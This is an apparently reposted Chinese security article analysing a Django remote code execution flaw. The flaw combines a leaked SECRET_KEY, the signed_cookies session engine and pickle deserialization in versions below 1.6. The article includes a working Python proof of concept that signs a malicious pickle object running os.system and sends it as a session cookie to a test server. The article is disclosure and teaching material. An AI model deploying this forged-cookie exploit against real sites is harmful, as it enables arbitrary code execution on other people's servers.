python直接执行代码漏洞_Django任意代码执行0day漏洞分析

本文分析了Django中的代码执行漏洞,起因于SECRET_KEY的泄露导致session处理过程中的pickle反序列化问题。在Django 1.6以下版本,当session使用signed_cookies引擎时,存在代码执行风险。通过构造特定的序列化数据,攻击者可以执行任意代码。文章还提供了POC展示如何利用此漏洞创建文件。

*本文中涉及到的相关漏洞已报送厂商并得到修复,本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担。

从Django的SECTET_KEY到代码执行。Django是一个可以用于快速搭建高性能,优雅的网站的平台,由Python写成。

采用了MVC的软件设计模式,即模型M、视图V和控制器C。它最初是被开发来用于管理劳伦斯出版集团旗下的一些以新闻内容为主的网站的,即是CMS(内容管理系统)软件。并于2005年7月在BSD许可证下发布。

最近在进行网站代码审查的过程中,发现某些产品由于session使用不当,导致可能被攻击者利用,执行任意代码。这些产品在登录的JS代码中,泄露了SECRET_KEY,将该值作为密码加密的盐,这样就暴露了加密salt不太好吧,更重要的是对django的安全造成了极大的威胁。

1、SECRET_KEY作用

SECTET_KEY在djanog中使用非常广泛,基本上涉及到安全,加密等的地方都用到了,下面列举一些常见情景:1.json object的签名

2.加密函数,如密码重置,表单,评论,csrf的key,session数据

这里面就要重点讲到session的问题,在这里使用不当就会导致代码执行。

2、代码执行

2.1 settings的session设置

django默认存储session到数据库中,但是可能会比较慢,就会使用到缓存,文件,还有cookie等方式,如果采用了cookie机制则有可能代码执行,settings配置如下:SESSION_ENGINE = 'django.contrib.sessions.backends.signed_cookies'

2.2 django 1.6以下

在django1.6以下,session默认是采用pickle执行序列号操作,在1.6及以上版本默认采用json序列化。代码执行只存在于使用pickle序列话的操作中。

2.3 session处理流程

可以简单的分为两部分,process_request和process_response,前者负责选择session引擎,初始化cookie数据。见代码:class SessionMiddleware(object):

def process_request(self, request):

engine = import_module(settings.SESSION_ENGINE)

session_key = request.COOKIES.get(settings.SESSION_COOKIE_NAME, None)

process_response则是处理返回给用户的cookie信息,比如修改过期时间等。在将session存入缓存后,可能在某个操作中会用到session信息,这个时候就会通过反序列化操作从缓存中取,如果反序列话引擎是采用pickle机制的话就存在代码执行。反序列化的代码位于django.core.signing.py中,这个模块主要是一些签名,加解密操作,同时也包含序列化和反序列化,默认采用JSON引擎,下面是反序列话loads的代码:def loads(s, key=None, salt='django.core.signing', serializer=JSONSerializer, max_age=None):

"""

Reverse of dumps(), raises BadSignature if signature fails

"""

base64d = smart_str(

TimestampSigner(key, salt=salt).unsign(s, max_age=max_age))

decompress = False

if base64d[0] == '.':

# It's compressed; uncompress it first

base64d = base64d[1:]

decompress = True

data = b64_decode(base64d)

if decompress:

data = zlib.decompress(data)

return serializer().loads(data)

2.4 构造POCimport os

os.environ.setdefault('DJANGO_SETTINGS_MODULE','settings')

from django.conf import settings

from django.core import signing

from django.contrib.sessions.backends import signed_cookies

class Run(object):

def __reduce__(self):

return (os.system,('touch /tmp/xxlegend.log',))

sess = signing.dumps(Run(), serializer=signed_cookies.PickleSerializer,salt='django.contrib.sessions.backends.signed_cookies')

print sess

import urllib2

import cookielib

url = 'http://10.24.35.228:8000/favicon.ico'

headers = {'Cookie':'sessionid="%s"' %(sess)}

request = urllib2.Request(url,headers = headers)

response = urllib2.urlopen(request)

print response.read()

通过序列化Run类,实现创建一个文件的操作,在反序列化的时候执行这个操作。执行代码完成可看到在/tmp目录创建xxlegend.log文件,同时web报500错误。

总结

利用条件总结起来就是这么几句话,首先泄露了SECRET_KEY,其次session引擎采用了signed_cookies,django版本小于1.6即存在代码执行问题。同样的问题也存在于python的其他web框架中,如flask,bottle。

* 作者:绿盟科技(企业账号),转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值